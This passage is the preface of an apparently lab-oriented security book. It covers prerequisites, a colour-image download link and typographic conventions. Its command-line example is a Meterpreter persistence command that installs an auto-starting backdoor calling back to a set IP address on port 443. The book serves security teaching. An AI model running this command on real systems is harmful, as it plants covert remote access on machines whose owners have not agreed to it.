• We assume that readers of this book know the basic information security concepts, are familiar with Windows and Linux operating systems, as well as core network infrastructure terminologies and key cloud computing concepts.
• Some demonstrations from this book can also be done in a lab environment; therefore we recommend you to have a virtual lab with VMs running Windows Server 2019, Windows 10/11 and Kali Linux.

Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this book. You can download it here: https://static.packt-cdn.com/downloads/9781803248776_ColorImages.pdf.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. For example: “Mount the downloaded WebStorm-10*.dmg disk image file as another disk in your system.”

Any command-line input or output is written as follows:

meterpreter >run persistence -A -L c:\ -X 30 -p 443 -r 10.108.210.25

Bold: Indicates a new term, an important word, or words that you see on the screen. For instance, words in menus or dialog boxes appear in the text like this. For example: “Select System info from the Administration panel.”